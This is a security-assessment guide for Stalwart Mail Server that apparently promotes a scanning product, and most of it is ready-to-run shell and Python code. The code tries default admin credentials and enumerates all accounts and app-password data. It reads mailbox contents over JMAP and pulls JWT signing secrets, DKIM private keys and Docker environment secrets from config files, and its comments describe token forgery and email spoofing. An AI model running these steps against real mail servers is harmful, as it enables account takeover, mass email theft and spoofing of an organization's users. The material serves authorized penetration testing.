Stalwart Mail Server is an increasingly deployed open-source Rust-based all-in-one mail server supporting JMAP, IMAP, SMTP, and CalDAV/CardDAV — organizations use it as a privacy-respecting, self-hosted alternative to Google Workspace and Microsoft 365. Key assessment areas: admin/secret are the documented default credentials in many deployment guides; the REST management API and JMAP protocol with admin credentials provide full mailbox read/write access; the JWT signing secret enables authentication token forgery for any email account; and the mail store contains the complete email history. This guide covers systematic Stalwart Mail security assessment.
# Stalwart Mail — default credentials and management API testing
STALWART_URL="https://mail.example.com"
# Test documented default credentials
# Stalwart docs show admin/secret as example — frequently left unchanged
for CRED in "admin:secret" "admin:admin" "admin:password" "postmaster:secret"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-u "${USER}:${PASS}" "${STALWART_URL}/api/principal" 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${STATUS}"
[ "$STATUS" = "200" ] && echo " >> ADMIN ACCESS CONFIRMED"
done
# Enumerate all principals (email accounts) with admin credentials
curl -s -u "admin:secret" "${STALWART_URL}/api/principal" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
items = d.get('items',[])
total = d.get('total',len(items))
print(f'Principals (accounts): {total}')
for p in items[:10]:
print(f' [{p.get(\"type\")}] {p.get(\"name\")} ({p.get(\"description\",\"\")}) quota={p.get(\"quota\",0)//1024//1024}MB')
" 2>/dev/null
# Get specific account details
curl -s -u "admin:secret" "${STALWART_URL}/api/principal/user@example.com" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Account: {d.get(\"name\")}')
print(f'Type: {d.get(\"type\")} Quota: {d.get(\"quota\",0)//1024//1024}MB')
# Check for app passwords
secrets = d.get('secrets',[])
print(f'App passwords: {len(secrets)}')
for s in secrets:
print(f' {s.get(\"type\")} value={s.get(\"value\",\"[hashed]\")[:30]}')
" 2>/dev/null
# Stalwart Mail JMAP API — full email content access
STALWART_URL="https://mail.example.com"
# JMAP authentication (using admin bearer token from management API)
ADMIN_TOKEN=$(curl -s -X POST "${STALWART_URL}/auth/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=password&username=admin&password=secret&client_id=stalwart" 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('access_token',''))" 2>/dev/null)
# JMAP session discovery
curl -s "${STALWART_URL}/jmap" \
-H "Authorization: Bearer ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
accounts = d.get('accounts',{})
print(f'JMAP accounts: {len(accounts)}')
for account_id, acct in list(accounts.items())[:5]:
print(f' [{account_id[:8]}] {acct.get(\"name\")} isAdmin={acct.get(\"isAdmin\")}')
" 2>/dev/null
# Use JMAP to query all email in an account
# JMAP is the modern mail access protocol Stalwart uses
ACCOUNT_ID="your-jmap-account-id"
curl -s -X POST "${STALWART_URL}/jmap" \
-H "Authorization: Bearer ${ADMIN_TOKEN}" \
-H "Content-Type: application/json" \
-d "{
\"using\": [\"urn:ietf:params:jmap:core\",\"urn:ietf:params:jmap:mail\"],
\"methodCalls\": [
[\"Email/query\", {
\"accountId\": \"${ACCOUNT_ID}\",
\"filter\": {},
\"sort\": [{\"property\":\"receivedAt\",\"isAscending\":false}],
\"limit\": 10
}, \"r1\"],
[\"Email/get\", {
\"accountId\": \"${ACCOUNT_ID}\",
\"#ids\": {\"resultOf\":\"r1\",\"name\":\"Email/query\",\"path\":\"/ids\"},
\"properties\": [\"subject\",\"from\",\"to\",\"receivedAt\",\"bodyValues\",\"textBody\"],
\"fetchTextBodyValues\": true
}, \"r2\"]
]
}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
responses = d.get('methodResponses',[])
for resp in responses:
method_name = resp[0]
result = resp[1]
if method_name == 'Email/get':
for email in result.get('list',[]):
print(f'Subject: {email.get(\"subject\",\"\")}')
print(f'From: {email.get(\"from\",[{}])[0].get(\"email\",\"\")}')
print(f'Received: {email.get(\"receivedAt\",\"\")[:19]}')
" 2>/dev/null
# Stalwart Mail JWT secret, DKIM key, and configuration extraction
# Stalwart configuration file (TOML format)
find /etc/stalwart /opt/stalwart /data -name "config.toml" -o -name "stalwart.toml" 2>/dev/null | head -5
CONFIG_FILE="/etc/stalwart/config.toml"
# Extract critical secrets from configuration
grep -E "secret|key|password|token|dkim" "$CONFIG_FILE" 2>/dev/null | grep -v "^#" | head -30
# JWT signing secret — enables token forgery for any account
grep -A2 "\[auth.oauth\]\|\[auth.token\]" "$CONFIG_FILE" 2>/dev/null | \
grep -i "secret\|key" | head -5
# If JWT secret is known, forge access tokens for any email account
# DKIM private keys — enable email spoofing
grep -B2 -A5 "private-key\|dkim" "$CONFIG_FILE" 2>/dev/null | head -20
# DKIM private key allows signing emails as any user in the domain
# Recipients will see valid DKIM signature — effective spoofing
# Docker environment variable inspection
docker inspect stalwart-mail 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e.upper() for k in ['SECRET','PASSWORD','KEY','TOKEN','JWT']):
print(e)
" 2>/dev/null
# Management API — retrieve server settings (admin required)
curl -s -u "admin:secret" "${STALWART_URL}/api/settings" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
settings = d.get('items',{})
for k,v in settings.items():
if any(s in k.lower() for s in ['secret','key','password','token','dkim','tls']):
print(f'{k}: {str(v)[:60]}')
" 2>/dev/null
| Security Test | Method | Risk |
|---|---|---|
| Default admin/secret credential access | GET /api/principal with Basic auth admin:secret — documented in installation guides; full REST API access to all email accounts; enables JMAP read access for all mailboxes; account enumeration and email content exfiltration | Critical |
| JWT signing secret extraction and token forgery | Read config.toml JWT secret — forge valid OAuth2 access tokens for any email account without knowing passwords; bypasses all password and 2FA controls; full JMAP email access for any account | Critical |
| DKIM private key extraction for email spoofing | Read DKIM private key from config.toml — sign emails as any user in the domain; recipients receive email with valid DKIM signature appearing to be from legitimate organization users; bypasses most spam and phishing filters | High |
| JMAP API full mailbox content access | POST /jmap with Email/query + Email/get — enumerate and download all emails for any account with admin credentials; complete email history exfiltration including attachments | High |
| Management API account and app password enumeration | GET /api/principal all accounts; GET /api/principal/{user} app password hashes; account inventory and credential data for offline hash cracking | High |
Ironimo tests Stalwart Mail deployments for default admin/secret credential access, JWT signing secret extraction and token forgery, DKIM private key extraction for email spoofing, JMAP API full mailbox content enumeration, management API account and app password extraction, configuration file sensitive data exposure, Docker environment variable secret disclosure, SMTP open relay testing, IMAP brute force protection assessment, and TLS configuration strength evaluation.
Start free scan